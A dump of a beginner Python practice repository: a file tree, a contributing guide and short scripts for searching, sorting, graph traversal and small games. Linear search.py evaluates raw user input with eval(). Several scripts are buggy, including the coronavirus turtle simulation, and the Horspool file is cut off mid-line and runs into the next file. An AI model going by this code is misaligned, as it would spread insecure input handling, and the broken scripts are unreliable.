├── Contributing.md ├── Program ├── 0-1 Knapsack.py ├── 21 Number game.py ├── BFS ├── Binary Search of ordered list.py ├── Binary_search.py ├── Complex_Num.py ├── Converter_Binary_to_Hex.py ├── Coronavirus_python_turtle.py ├── DFS.py ├── Djikstras.py ├── Execute_Code_in_String.py ├── Fibonacci_Numbers.py ├── Fibonacci_in_python.py ├── Find_URL_from_String.py ├── Horspool ├── Implementation_graph.py ├── Jump Game Leetcode Problem.py ├── K_largestPairs ├── Linear search.py ├── List_product.py ├── Maximum subset XOR.py ├── MergeSort.py ├── ModularExp.py ├── NUMBER GUESS.py ├── N_largest_element_in_list.py ├── Palindrome.py ├── Power_of_a_number_in_python.py ├── Powerset ├── QuizGame.py ├── Rohan │ └── Binary.py ├── Rotate_a_String.py ├── Small_Positive_Number_Divisble.py ├── String_can_become_Empty_or_not.py ├── Swayam │ ├── Largest_N_Elements_Array.py │ ├── Matrix_diagonal_sum.py │ └── Reverse_String.py ├── TowerOfHanoi.py ├── Tribonacci_Numbers.py ├── Truck_tour.py ├── Window_Sliding.py ├── Z_algorithm.py ├── a_star.py ├── allPathsSourceTarget.py ├── amstrong_no_between_interval.py ├── armstrong.py ├── arrayToBytes ├── binary to hex.py ├── blackjack.py ├── bubble_sort.py ├── burrows_wheeler.py ├── calculator.py ├── calculatorinpython.py ├── checkleapyear.py ├── decimal_octal_conv.py ├── factorial.py ├── find all factor of a natural number.py ├── guessthenumber.py ├── hamming.py ├── hash.py ├── hill-2-cipher.py ├── insertBtwNodes.py ├── insertion_sort.py ├── keylogger.py ├── km_to_miles.py ├── leapyear.py ├── linkedListRemNode.py ├── linkedlistCreation.py ├── linkedlistTraversal.py ├── mad_libs_generator.py ├── menu_based_calc.py ├── mergeSort.py ├── networkx-lib.py ├── news_scrapper.py ├── nqueens.py ├── number_pattern.py ├── ohms_law.py ├── palindrome with recursion.py ├── palindrome.py ├── pascalsTraingle.py ├── pokemon.py ├── prime.py ├── python program to swap 1st and last element of a list.py ├── pythonproftpd.py ├── pythonrevshell.py ├── quickSort.py ├── random pass generator.py ├── roman_to_integer.py ├── simplecalculator.py ├── socket_programming.py ├── sorting methods.py ├── sorting_elements_by_frequency.py ├── split_array_program1.py ├── square root.py ├── string_compare.py ├── text2num.py ├── tic_tac_toe.py └── word_counter.py ├── Projects ├── .DS_Store ├── Aditya_Raj_Python_Project │ └── Crop_Prediction_Using_Random_Forest.ipynb ├── Applying Reinforcement Learning to train an agent to play the gym dino game │ ├── RL_dino │ │ ├── README.md │ │ ├── __pycache__ │ │ │ └── main.cpython-38.pyc │ │ ├── ai_run.py │ │ ├── highway_run.py │ │ ├── main.py │ │ ├── requirements.py │ │ ├── test.py │ │ ├── training_ckpt │ │ │ ├── checkpoint │ │ │ ├── cp.ckpt.data-00000-of-00001 │ │ │ └── cp.ckpt.index │ │ └── vidw_model.h5 │ └── gym-dino-game │ │ ├── README.md │ │ ├── gym_dino │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-37.pyc │ │ │ └── __init__.cpython-38.pyc │ │ ├── envs │ │ │ ├── __init__.py │ │ │ ├── __pycache__ │ │ │ │ ├── __init__.cpython-37.pyc │ │ │ │ ├── __init__.cpython-38.pyc │ │ │ │ ├── enviroment_gym.cpython-37.pyc │ │ │ │ └── enviroment_gym.cpython-38.pyc │ │ │ └── enviroment_gym.py │ │ ├── game │ │ │ ├── DINO_game.py │ │ │ ├── __init__.py │ │ │ └── __pycache__ │ │ │ │ ├── DINO_game.cpython-37.pyc │ │ │ │ ├── DINO_game.cpython-38.pyc │ │ │ │ ├── __init__.cpython-37.pyc │ │ │ │ └── __init__.cpython-38.pyc │ │ └── utils │ │ │ ├── __init__.py │ │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-38.pyc │ │ │ └── chromedriver_installer.cpython-38.pyc │ │ │ └── chromedriver_installer.py │ │ ├── gym_dino_game.egg-info │ │ ├── PKG-INFO │ │ ├── SOURCES.txt │ │ ├── dependency_links.txt │ │ ├── requires.txt │ │ └── top_level.txt │ │ └── setup.py ├── ChatRoom │ ├── client2.py │ ├── hehe.md │ ├── new.md │ └── server2.py ├── Color_Game.py ├── Control Mouse │ └── Mouse_Control.py ├── Cricket Game │ ├── README.md │ └── hand_cricket.py ├── Desktop_Assistant.py ├── Download progress bar.py ├── Echo Chatbot.py ├── FaceRecognition.ipynb ├── Face_Detection │ ├── face_detect_cam.py │ ├── haar_face.xml │ └── readme.md ├── Guess_game │ └── GuessGame.py ├── Hotelms.py ├── Inventory_Management_System │ ├── WARDROBE IMS USING JSON - ADDING NEW ITEMS.ipynb │ ├── WARDROBE IMS USING JSON - CREATING SALES.JSON FILE.ipynb │ ├── WARDROBE IMS USING JSON - PURCHASING AND PRODUCING THE BILL.ipynb │ ├── record.json │ └── sales.json ├── Language Translator │ ├── Language_Translator.py │ ├── Readme.md │ ├── clicking.png │ ├── logout.png │ └── translater.ico ├── Ludo │ ├── ludo │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-37.pyc │ │ │ ├── cli.cpython-37.pyc │ │ │ ├── game.cpython-37.pyc │ │ │ ├── painter.cpython-37.pyc │ │ │ └── recorder.cpython-37.pyc │ │ ├── cli.py │ │ ├── game.py │ │ ├── painter.py │ │ └── recorder.py │ ├── readme.md │ └── run.py ├── MailingGotEasy │ ├── .gitignore │ ├── db.sqlite3 │ ├── mailing │ │ ├── __init__.py │ │ ├── admin.py │ │ ├── apps.py │ │ ├── migrations │ │ │ └── __init__.py │ │ ├── models.py │ │ ├── static │ │ │ └── mailing │ │ │ │ └── favicon.ico │ │ ├── templates │ │ │ └── mailing │ │ │ │ ├── continued.html │ │ │ │ ├── home.html │ │ │ │ ├── pdf0.html │ │ │ │ ├── pdf1.html │ │ │ │ ├── pdf2.html │ │ │ │ ├── pdfv0.html │ │ │ │ ├── pdfv1.html │ │ │ │ └── pdfv2.html │ │ ├── tests.py │ │ └── views.py │ ├── manage.py │ ├── media │ │ └── temporary.html │ ├── requirements.txt │ └── sending_mails │ │ ├── __init__.py │ │ ├── asgi.py │ │ ├── settings.py │ │ ├── urls.py │ │ └── wsgi.py ├── Ml Analysis and Data │ └── Prediction Model.ipynb ├── Neuron │ ├── Main.py │ ├── README.md │ ├── TrainedNeuron.py │ └── requirements.txt ├── NewSnakeGame ├── Pong-master │ ├── Pong │ │ ├── Pong.py │ │ └── sound │ │ │ ├── 258020__kodack__arcade-bleep-sound.wav │ │ │ ├── 4skwn-reh0j.wav │ │ │ └── game-over-sound-effect.wav │ └── README.md ├── Quiz Game │ └── data.py ├── SGA │ ├── Entity.py │ ├── Main.py │ └── README.md ├── Stone_Paper_Scissor.py ├── Summer_Olympics_Data_Analysis │ ├── Summer Olympics Data Analysis.ipynb │ └── Summer Olympics DataSet.csv ├── Text_to_Handwritten_Text.py ├── TikTakToe.py ├── Traffic sign classification │ ├── gui.py │ ├── traffic_classifier.h5 │ └── traffic_sign.py ├── Ultimate_PDF_Maker │ ├── Readme.md │ └── The_ultimate_pdf_maker.py ├── Web scraping │ ├── Amazon_reviews.csv │ └── Amazon_reviews.ipynb ├── Youtube audio downloader ├── Yts Discord Bot │ ├── Procfile │ ├── commands.txt │ ├── requirements.txt │ └── yts.py ├── acronym_generator.py ├── astronauts.py ├── banking.py ├── bmi.py ├── haarcascade_frontalface_default.xml ├── image_2_sketch.py.py ├── password generator.py ├── plagiarism_checker.py ├── python turtle graphics.py ├── qr_code_generator │ ├── .gitignore │ ├── qr_generator.py │ └── requirements.txt ├── rock_paper_scissors.py ├── tic_tac_toe.py ├── tkinter-calculator │ ├── Output │ │ ├── ErrorHandling-1.png │ │ ├── ErrorHandling-2.png │ │ ├── calculator_output.mp4 │ │ ├── output-1 (1).png │ │ └── output-1 (2).png │ └── main.py └── word_guessing_game.py ├── Readme.md └── simple_pygame.py /Contributing.md: -------------------------------------------------------------------------------- 1 | To start contributing, follow the below guidelines: 2 | 3 | **1.** Fork [this](https://github.com/sattwik21/Python-Practice/) repository. 4 | 5 | **2.** Clone your forked copy of the project. 6 | 7 | ``` 8 | git clone https://github.com//Python-Practice.git 9 | ``` 10 | 11 | **3.** Navigate to the project directory :file_folder: . 12 | 13 | ``` 14 | cd Python-Practice 15 | ``` 16 | 17 | **4.** Always take a pull from the master branch to remain updated 18 | 19 | ``` 20 | git pull origin master 21 | ``` 22 | 23 | **5.** Create a new branch. 24 | 25 | ``` 26 | git checkout -b 27 | ``` 28 | 29 | **6.** Perfom your desired contribution 30 | 31 | **7.** Track your changes:heavy_check_mark: . 32 | 33 | ``` 34 | git add . 35 | ``` 36 | 37 | **8.** Commit your changes . 38 | 39 | ``` 40 | git commit -m "Commit Message" 41 | ``` 42 | 43 | **9.** Push the committed changes in your feature branch to your remote repo. 44 | 45 | ``` 46 | git push -u origin 47 | ``` 48 | 49 | **10.** To create a pull request, click on `compare and pull requests`. Please ensure you compare your feature branch to the desired branch of the repo you are suppose to make a PR to. 50 | 51 | 52 | **11.** Add appropriate title and description to your pull request explaining your changes and efforts done. 53 | 54 | 55 | **12.** Click on `Create Pull Request`. 56 | 57 | 58 | **13** Yay! You have made a PR to the repository. Sit back patiently PR is reviewed. 59 | -------------------------------------------------------------------------------- /Program/0-1 Knapsack.py: -------------------------------------------------------------------------------- 1 | # A Dynamic Programming based Python 2 | # Program for 0-1 Knapsack problem 3 | # Returns the maximum value that can 4 | # be put in a knapsack of capacity W 5 | 6 | 7 | def knapSack(W, wt, val, n): 8 | K = [[0 for x in range(W + 1)] for x in range(n + 1)] 9 | 10 | # Build table K[][] in bottom up manner 11 | for i in range(n + 1): 12 | for w in range(W + 1): 13 | if i == 0 or w == 0: 14 | K[i][w] = 0 15 | elif wt[i-1] <= w: 16 | K[i][w] = max(val[i-1] 17 | + K[i-1][w-wt[i-1]], 18 | K[i-1][w]) 19 | else: 20 | K[i][w] = K[i-1][w] 21 | 22 | return K[n][W] 23 | 24 | 25 | # Driver code 26 | val = [60, 100, 120] 27 | wt = [10, 20, 30] 28 | W = 50 29 | n = len(val) 30 | print(knapSack(W, wt, val, n)) 31 | -------------------------------------------------------------------------------- /Program/BFS: -------------------------------------------------------------------------------- 1 | from collections import defaultdict 2 | 3 | 4 | class Graph: 5 | 6 | 7 | def __init__(self): 8 | 9 | 10 | self.graph = defaultdict(list) 11 | 12 | def addEdge(self,u,v): 13 | self.graph[u].append(v) 14 | 15 | 16 | def BFS(self, s): 17 | 18 | 19 | visited = [False] * (max(self.graph) + 1) 20 | 21 | 22 | queue = [] 23 | 24 | 25 | queue.append(s) 26 | visited[s] = True 27 | 28 | while queue: 29 | 30 | 31 | s = queue.pop(0) 32 | print (s, end = " ") 33 | 34 | 35 | for i in self.graph[s]: 36 | if visited[i] == False: 37 | queue.append(i) 38 | visited[i] = True 39 | 40 | 41 | 42 | 43 | g = Graph() 44 | g.addEdge(0, 1) 45 | g.addEdge(0, 2) 46 | g.addEdge(1, 2) 47 | g.addEdge(2, 0) 48 | g.addEdge(2, 3) 49 | g.addEdge(3, 3) 50 | 51 | print ("Following is Breadth First Traversal" 52 | " (starting from vertex 2)") 53 | g.BFS(2) 54 | -------------------------------------------------------------------------------- /Program/Binary Search of ordered list.py: -------------------------------------------------------------------------------- 1 | def Ordered_binary_Search(olist, item): 2 | 3 | if len(olist) == 0: 4 | return False 5 | else: 6 | midpoint = len(olist) // 2 7 | if olist[midpoint] == item: 8 | return True 9 | else: 10 | if item < olist[midpoint]: 11 | return binarySearch(olist[:midpoint], item) 12 | else: 13 | return binarySearch(olist[midpoint+1:], item) 14 | 15 | def binarySearch(alist, item): 16 | 17 | first = 0 18 | last = len(alist) - 1 19 | found = False 20 | while first <= last and not found: 21 | midpoint = (first + last) // 2 22 | if alist[midpoint] == item: 23 | found = True 24 | else: 25 | if item < alist[midpoint]: 26 | last = midpoint - 1 27 | else: 28 | first = midpoint + 1 29 | 30 | return found 31 | 32 | print(Ordered_binary_Search([0, 1, 3, 8, 14, 18, 19, 34, 52], 3)) 33 | print(Ordered_binary_Search([0, 1, 3, 8, 14, 18, 19, 34, 52], 17)) 34 | -------------------------------------------------------------------------------- /Program/Binary_search.py: -------------------------------------------------------------------------------- 1 | # Python3 Program for recursive binary search. 2 | 3 | # Returns index of x in arr if present, else -1 4 | def binarySearch (arr, l, r, x): 5 | 6 | # Check base case 7 | if r >= l: 8 | 9 | mid = l + (r - l) // 2 10 | 11 | # If element is present at the middle itself 12 | if arr[mid] == x: 13 | return mid 14 | 15 | # If element is smaller than mid, then it 16 | # can only be present in left subarray 17 | elif arr[mid] > x: 18 | return binarySearch(arr, l, mid-1, x) 19 | 20 | # Else the element can only be present 21 | # in right subarray 22 | else: 23 | return binarySearch(arr, mid + 1, r, x) 24 | 25 | else: 26 | # Element is not present in the array 27 | return -1 28 | 29 | # Driver Code 30 | arr = [ 2, 3, 4, 10, 40 ] 31 | x = 10 32 | 33 | # Function call 34 | result = binarySearch(arr, 0, len(arr)-1, x) 35 | 36 | if result != -1: 37 | print ("Element is present at index % d" % result) 38 | else: 39 | print ("Element is not present in array") -------------------------------------------------------------------------------- /Program/Complex_Num.py: -------------------------------------------------------------------------------- 1 | # Python code to demonstrate the working of 2 | # complex(), real() and imag() 3 | 4 | # importing "cmath" for complex number operations 5 | import cmath 6 | 7 | # Initializing real numbers 8 | x = 5 9 | y = 3 10 | 11 | # converting x and y into complex number 12 | z = complex(x,y); 13 | 14 | # printing real and imaginary part of complex number 15 | print ("The real part of complex number is : ",end="") 16 | print (z.real) 17 | 18 | print ("The imaginary part of complex number is : ",end="") 19 | print (z.imag) 20 | -------------------------------------------------------------------------------- /Program/Converter_Binary_to_Hex.py: -------------------------------------------------------------------------------- 1 | print("Enter you Number in Binary Form ") 2 | bnum = int(input()) 3 | 4 | hex = 0 5 | mul = 1 6 | chk = 1 7 | i = 0 8 | hnum = [] 9 | while bnum!=0: 10 | rem = bnum%10 11 | hex = hex + (rem*mul) 12 | if chk%4==0: 13 | if hex<10: 14 | hex = hex+48 15 | val = chr(hex) 16 | hnum.insert(i, val) 17 | else: 18 | hex = hex+55 19 | val = chr(hex) 20 | hnum.insert(i, val) 21 | mul = 1 22 | hex = 0 23 | chk = 1 24 | i = i+1 25 | else: 26 | mul = mul*2 27 | chk = chk+1 28 | bnum = int(bnum/10) 29 | 30 | if chk!=1: 31 | hex = hex+48 32 | val = chr(hex) 33 | hnum.insert(i, val) 34 | if chk==1: 35 | i = i-1 36 | 37 | print("\nEquivalent Hexadecimal Value = ", end="") 38 | while i>=0: 39 | print(end=hnum[i]) 40 | i = i-1 41 | print() 42 | -------------------------------------------------------------------------------- /Program/Coronavirus_python_turtle.py: -------------------------------------------------------------------------------- 1 | from turtle import Screen, Turtle 2 | """ 3 | This imports the screen and turtle from the turtle module 4 | """ 5 | from random import randint, choice 6 | """ 7 | This is to use the random integer function and the random choosing of the infected 8 | """ 9 | from time import sleep 10 | posessed = 0 11 | class Person(Turtle): 12 | population = [] 13 | 14 | def __init__(self): 15 | super().__init__(shape='circle') 16 | 17 | self.shapesize(0.4) 18 | self.penup() 19 | self.setpos(randint(-250, 250), randint(-250, 250)) 20 | 21 | Person.population.append(self) 22 | 23 | @classmethod 24 | def all_infected(cls): 25 | return [person for person in cls.population if person.infected()] 26 | 27 | def infect(self): 28 | self.color('red') 29 | 30 | def infected(self): 31 | return self.pencolor() == 'red' 32 | def all_infected(cls): 33 | return [person for person in cls.population if person.posessed()] 34 | 35 | def posess(self): 36 | self.color('yellow') 37 | 38 | def posessed(self): 39 | return self.pencolor() == 'yellow' 40 | 41 | 42 | def random_move(self): 43 | self.right(randint(-180,180)) 44 | self.forward(randint(0,10)) 45 | if not (-250 < self.xcor() <250 and -250 < self.ycor() < 250): 46 | self.undo() # this will undo forward() 47 | 48 | def make_population(amount): 49 | 50 | for _ in range(amount): 51 | Person() 52 | 53 | def posess_random(): 54 | person = choice(Person.population) 55 | person.posess() 56 | posessed+1 57 | 58 | def infect_random(): 59 | person = choice(Person.population) 60 | person.infect() 61 | 62 | def simulation(): 63 | """ This will simulate the virus outbreak scenarios (quarantine, or not quarantine) """ 64 | amount=int(input("Enter amount of people within the area: " )) 65 | moves=int(input("Enter the amount of moves these people will do: ")) 66 | print("Entered amount of people: ", amount) 67 | print("Entered amount of movements: ", moves) 68 | make_population(amount) 69 | 70 | infect_random() 71 | posess_random() 72 | 73 | screen.update() 74 | for _ in range(moves): 75 | for person.infected in Person.population: 76 | person.random_move() 77 | 78 | if not person.infected(): 79 | for infected in Person.all_infected(): 80 | if person.distance(infected) < 30: 81 | person.infect() 82 | #this is used to set distance to get infected. In this case I did 30 83 | 84 | screen.update() 85 | sleep(0.1) 86 | 87 | 88 | screen = Screen() 89 | screen.setup(500,500) 90 | screen.tracer(0) 91 | screen.bgcolor(str(input("Enter desired background color: "))) 92 | simulation() 93 | 94 | screen.exitonclick() 95 | #this should do it -------------------------------------------------------------------------------- /Program/DFS.py: -------------------------------------------------------------------------------- 1 | from collections import defaultdict 2 | 3 | 4 | class Graph: 5 | 6 | def __init__(self): 7 | 8 | self.graph = defaultdict(list) 9 | 10 | def addEdge(self, u, v): 11 | self.graph[u].append(v) 12 | 13 | def DFSUtil(self, v, visited): 14 | 15 | visited.add(v) 16 | print(v, end=' ') 17 | 18 | for neighbour in self.graph[v]: 19 | if neighbour not in visited: 20 | self.DFSUtil(neighbour, visited) 21 | 22 | def DFS(self, v): 23 | 24 | 25 | visited = set() 26 | 27 | self.DFSUtil(v, visited) 28 | 29 | 30 | g = Graph() 31 | g.addEdge(0, 1) 32 | g.addEdge(0, 2) 33 | g.addEdge(1, 2) 34 | g.addEdge(2, 0) 35 | g.addEdge(2, 3) 36 | g.addEdge(3, 3) 37 | 38 | print("Following is DFS from (starting from vertex 2)") 39 | g.DFS(2) 40 | 41 | -------------------------------------------------------------------------------- /Program/Djikstras.py: -------------------------------------------------------------------------------- 1 | # Python program for Dijkstra's single 2 | # source shortest path algorithm. The program is 3 | # for adjacency matrix representation of the graph 4 | class Graph(): 5 | 6 | def __init__(self, vertices): 7 | self.V = vertices 8 | self.graph = [[0 for column in range(vertices)] 9 | for row in range(vertices)] 10 | 11 | def printSolution(self, dist): 12 | print("Vertex \t Distance from Source") 13 | for node in range(self.V): 14 | print(node, "\t\t", dist[node]) 15 | 16 | # A utility function to find the vertex with 17 | # minimum distance value, from the set of vertices 18 | # not yet included in shortest path tree 19 | def minDistance(self, dist, sptSet): 20 | 21 | # Initialize minimum distance for next node 22 | min = 1e7 23 | 24 | # Search not nearest vertex not in the 25 | # shortest path tree 26 | for v in range(self.V): 27 | if dist[v] < min and sptSet[v] == False: 28 | min = dist[v] 29 | min_index = v 30 | 31 | return min_index 32 | 33 | # Function that implements Dijkstra's single source 34 | # shortest path algorithm for a graph represented 35 | # using adjacency matrix representation 36 | def dijkstra(self, src): 37 | 38 | dist = [1e7] * self.V 39 | dist[src] = 0 40 | sptSet = [False] * self.V 41 | 42 | for cout in range(self.V): 43 | 44 | # Pick the minimum distance vertex from 45 | # the set of vertices not yet processed. 46 | # u is always equal to src in first iteration 47 | u = self.minDistance(dist, sptSet) 48 | 49 | # Put the minimum distance vertex in the 50 | # shortest path tree 51 | sptSet[u] = True 52 | 53 | # Update dist value of the adjacent vertices 54 | # of the picked vertex only if the current 55 | # distance is greater than new distance and 56 | # the vertex in not in the shortest path tree 57 | for v in range(self.V): 58 | if (self.graph[u][v] > 0 and 59 | sptSet[v] == False and 60 | dist[v] > dist[u] + self.graph[u][v]): 61 | dist[v] = dist[u] + self.graph[u][v] 62 | 63 | self.printSolution(dist) 64 | 65 | -------------------------------------------------------------------------------- /Program/Execute_Code_in_String.py: -------------------------------------------------------------------------------- 1 | def Execute_Code(Test_string): 2 | return exec(Test_string) 3 | 4 | 5 | Test_string = """ 6 | def factorial(num): 7 | fact=1 8 | for i in range(1,num+1): 9 | fact = fact*i 10 | return fact 11 | print(factorial(5)) 12 | """ 13 | Execute_Code(Test_string) 14 | -------------------------------------------------------------------------------- /Program/Fibonacci_Numbers.py: -------------------------------------------------------------------------------- 1 | #The Tribonacci sequence Tn is defined as follows: 2 | 3 | # The Fibonacci numbers are the numbers in the following integer sequence. 4 | # 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, …….. 5 | 6 | # Given n, we will return the value of Tn. 7 | 8 | def fibonacci(n): 9 | #if n==0, then return 0 10 | if(n==0 or n==1): 11 | return n 12 | 13 | 14 | # Make a list and append the first two values 15 | li=[] 16 | li.append(0) 17 | li.append(1) 18 | 19 | 20 | # Then using concept of Dynamic programming, append the values to the list upto n 21 | for i in range (2,n+1): 22 | li.append(li[i-2]+li[i-1]) 23 | return li[n] 24 | 25 | 26 | n=int(input()) 27 | print(fibonacci(n)) -------------------------------------------------------------------------------- /Program/Fibonacci_in_python.py: -------------------------------------------------------------------------------- 1 | # Program to display the Fibonacci sequence up to n-th term 2 | 3 | nterms = int(input("How many terms? ")) 4 | 5 | # first two terms 6 | n1, n2 = 0, 1 7 | count = 0 8 | 9 | # check if the number of terms is valid 10 | if nterms <= 0: 11 | print("Please enter a positive integer") 12 | # if there is only one term, return n1 13 | elif nterms == 1: 14 | print("Fibonacci sequence upto",nterms,":") 15 | print(n1) 16 | # generate fibonacci sequence 17 | else: 18 | print("Fibonacci sequence:") 19 | while count < nterms: 20 | print(n1) 21 | nth = n1 + n2 22 | # update values 23 | n1 = n2 24 | n2 = nth 25 | count += 1 -------------------------------------------------------------------------------- /Program/Find_URL_from_String.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | 4 | def URL_from_string(Test_string): 5 | return re.findall("(https?://[^\s]+)", Test_string) 6 | 7 | 8 | Test_string = "These are the links http://www.google.com and http://stackoverflow.com/questions/839994/extracting-a-url-in-python" 9 | print("\n".join(URL_from_string(Test_string))) 10 | -------------------------------------------------------------------------------- /Program/Horspool: -------------------------------------------------------------------------------- 1 | 2 | NO_OF_CHARS = 256 3 | 4 | def badCharHeuristic(string, size): 5 | 6 | 7 | badChar = [-1]*NO_OF_CHARS 8 | 9 | for i in range(size): 10 | badChar[ord(string[i])] = i; 11 | 12 | return badChar 13 | 14 | def search(txt, pat): 15 | 16 | m = len(pat) 17 | n = len(txt) 18 | 19 | badChar = badCharHeuristic(pat, m) 20 | 21 | 22 | s = 0 23 | while(s <= n-m): 24 | j = m-1 25 | 26 | while j>=0 and pat[j] == txt[s+j]: 27 | j -= 1 28 | 29 | if j<0: 30 | print("Pattern occur at shift = {}".format(s)) 31 | 32 | 33 | s += (m-badChar[ord(txt[s+m])] if s+m bool: 3 | goal = len(nums) - 1 4 | for i in range(len(nums)-1,-1,-1): 5 | if i + nums[i] >= goal: 6 | goal = i 7 | return goal == 0 8 | -------------------------------------------------------------------------------- /Program/K_largestPairs: -------------------------------------------------------------------------------- 1 | # K Largest Pairs 2 | 3 | """ 4 | You are given two lists of integers nums0, nums1 and an integer k. 5 | Find k largest sum pairs where each pair contains one integer in nums0 and another in nums1, 6 | and return the sum of all of the pairs. 7 | Constraints 8 | 0 ≤ n ≤ 100,000 where n is the length of nums0 9 | 0 ≤ m ≤ 100,000 where m is the length of nums1 10 | 0 ≤ k ≤ 100,000 11 | 0 ≤ k ≤ n * m 12 | Example 1: 13 | Input:- 14 | nums0 = [5, 3, 9] 15 | nums1 = [1, 2, 4] 16 | k = 2 17 | Output:- 18 | 24 19 | Explanation:- 20 | The 2 largest pairs are (9,2) and (9,4)..therefore the sum of the pairs would be 9+2+9+4=24 21 | """ 22 | 23 | 24 | def solve(nums0, nums1, k): 25 | lst=[] 26 | tot=0 27 | for i in nums0: 28 | for j in nums1: 29 | sum=0 30 | sum=i+j 31 | lst.append(sum) 32 | lst=sorted(lst,reverse=True) 33 | for i in range(0,k): 34 | tot=tot+lst[i] 35 | return tot 36 | 37 | n1=int(input(("Enter no. of elements in num list1: "))) 38 | n2=int(input(("Enter no. of elements in num list2: "))) 39 | k=int(input("Enter no. of largest pairs that you need: ")) 40 | list1=[] 41 | list2=[] 42 | print("Enter elements of list1 one by one: ") 43 | for i in range(0,n1): 44 | 45 | ele1=int(input()) 46 | list1.append(ele1) 47 | 48 | print("Enter elements of list2 one by one: ") 49 | for j in range(0,n2): 50 | 51 | ele2=int(input()) 52 | list2.append(ele2) 53 | 54 | ans=solve(list1,list2,k) 55 | print("Sum of the largest " + str(k) + " pairs is",ans) -------------------------------------------------------------------------------- /Program/Linear search.py: -------------------------------------------------------------------------------- 1 | #python program to find a number from a list of numbers using Linear search 2 | 3 | #Input list from the user 4 | lis=eval(input("Enter the list of numbers")) 5 | 6 | #Input the number to be searched 7 | N=int(input("Enter the number to be searched")) 8 | 9 | #Traverse through the list 10 | for i in lis: 11 | if i==N: 12 | print("The number is found",i) 13 | break 14 | else: 15 | print("The number is not found") -------------------------------------------------------------------------------- /Program/List_product.py: -------------------------------------------------------------------------------- 1 | def List_prod(Test_list): 2 | Result = [] 3 | for i in Test_list: 4 | product = 1 5 | for j in Test_list: 6 | if j != i: 7 | product *= j 8 | Result.append(product) 9 | return Result 10 | 11 | 12 | if __name__ == "__main__": 13 | print(List_prod([10, 20, 30, 40, 50])) 14 | print(List_prod([1, 2, 0, 4])) 15 | print(List_prod([1, 2, 3, -4])) 16 | -------------------------------------------------------------------------------- /Program/Maximum subset XOR.py: -------------------------------------------------------------------------------- 1 | # Python program to find 2 | # maximum XOR subset 3 | 4 | # Number of bits to 5 | # represent int 6 | INT_BITS=32 7 | 8 | # Function to return 9 | # maximum XOR subset 10 | # in set[] 11 | def maxSubarrayXOR(set,n): 12 | 13 | # Initialize index of 14 | # chosen elements 15 | index = 0 16 | 17 | # Traverse through all 18 | # bits of integer 19 | # starting from the most 20 | # significant bit (MSB) 21 | for i in range(INT_BITS-1,-1,-1): 22 | 23 | # Initialize index of 24 | # maximum element and 25 | # the maximum element 26 | maxInd = index 27 | maxEle = -2147483648 28 | for j in range(index,n): 29 | 30 | # If i'th bit of set[j] 31 | # is set and set[j] is 32 | # greater than max so far. 33 | if ( (set[j] & (1 << i)) != 0 34 | and set[j] > maxEle ): 35 | 36 | maxEle = set[j] 37 | maxInd = j 38 | 39 | # If there was no 40 | # element with i'th 41 | # bit set, move to 42 | # smaller i 43 | if (maxEle ==-2147483648): 44 | continue 45 | 46 | # Put maximum element 47 | # with i'th bit set 48 | # at index 'index' 49 | temp=set[index] 50 | set[index]=set[maxInd] 51 | set[maxInd]=temp 52 | 53 | # Update maxInd and 54 | # increment index 55 | maxInd = index 56 | 57 | # Do XOR of set[maxIndex] 58 | # with all numbers having 59 | # i'th bit as set. 60 | for j in range(n): 61 | 62 | # XOR set[maxInd] those 63 | # numbers which have the 64 | # i'th bit set 65 | if (j != maxInd and 66 | (set[j] & (1 << i)) != 0): 67 | set[j] = set[j] ^ set[maxInd] 68 | 69 | 70 | # Increment index of 71 | # chosen elements 72 | index=index + 1 73 | 74 | 75 | # Final result is 76 | # XOR of all elements 77 | res = 0 78 | for i in range(n): 79 | res =res ^ set[i] 80 | return res 81 | 82 | # Driver code 83 | 84 | set= [9, 8, 5] 85 | n =len(set) 86 | 87 | print("Max subset XOR is ",end="") 88 | print(maxSubarrayXOR(set, n)) 89 | 90 | # This code is contributed 91 | # by Rajat Jain. -------------------------------------------------------------------------------- /Program/MergeSort.py: -------------------------------------------------------------------------------- 1 | def merge(arr, l, m, r): 2 | n1 = m - l + 1 3 | n2 = r - m 4 | 5 | L = [0] * (n1) 6 | R = [0] * (n2) 7 | 8 | for i in range(0, n1): 9 | L[i] = arr[l + i] 10 | 11 | for j in range(0, n2): 12 | R[j] = arr[m + 1 + j] 13 | 14 | i = 0 15 | j = 0 16 | k = l 17 | 18 | while i < n1 and j < n2: 19 | if L[i] <= R[j]: 20 | arr[k] = L[i] 21 | i += 1 22 | else: 23 | arr[k] = R[j] 24 | j += 1 25 | k += 1 26 | 27 | while i < n1: 28 | arr[k] = L[i] 29 | i += 1 30 | k += 1 31 | 32 | while j < n2: 33 | arr[k] = R[j] 34 | j += 1 35 | k += 1 36 | 37 | 38 | 39 | def mergeSort(arr, l, r): 40 | if l < r: 41 | 42 | m = l+(r-l)//2 43 | 44 | mergeSort(arr, l, m) 45 | mergeSort(arr, m+1, r) 46 | merge(arr, l, m, r) 47 | 48 | 49 | arr = [12, 11, 13, 5, 6, 7] 50 | n = len(arr) 51 | print("Given array is") 52 | for i in range(n): 53 | print("%d" % arr[i]), 54 | 55 | mergeSort(arr, 0, n-1) 56 | print("\n\nSorted array is") 57 | for i in range(n): 58 | print("%d" % arr[i]), -------------------------------------------------------------------------------- /Program/ModularExp.py: -------------------------------------------------------------------------------- 1 | a = int(input()) 2 | b = int(input()) 3 | p = (int)(1e9+7) 4 | 5 | # (a ^ b) % p. 6 | d = pow(a, b, p) 7 | print (d) 8 | -------------------------------------------------------------------------------- /Program/NUMBER GUESS.py: -------------------------------------------------------------------------------- 1 | import random 2 | import math 3 | # Taking Inputs 4 | lower = int(input("Enter Lower bound:- ")) 5 | 6 | # Taking Inputs 7 | upper = int(input("Enter Upper bound:- ")) 8 | 9 | # generating random number between 10 | # the lower and upper 11 | x = random.randint(lower, upper) 12 | print("\n\tYou've only ", 13 | round(math.log(upper - lower + 1, 2)), 14 | " chances to guess the integer!\n") 15 | 16 | # Initializing the number of guesses. 17 | count = 0 18 | 19 | # for calculation of minimum number of 20 | # guesses depends upon range 21 | while count < math.log(upper - lower + 1, 2): 22 | count += 1 23 | 24 | # taking guessing number as input 25 | guess = int(input("Guess a number:- ")) 26 | 27 | # Condition testing 28 | if x == guess: 29 | print("Congratulations you did it in ", 30 | count, " try") 31 | # Once guessed, loop will break 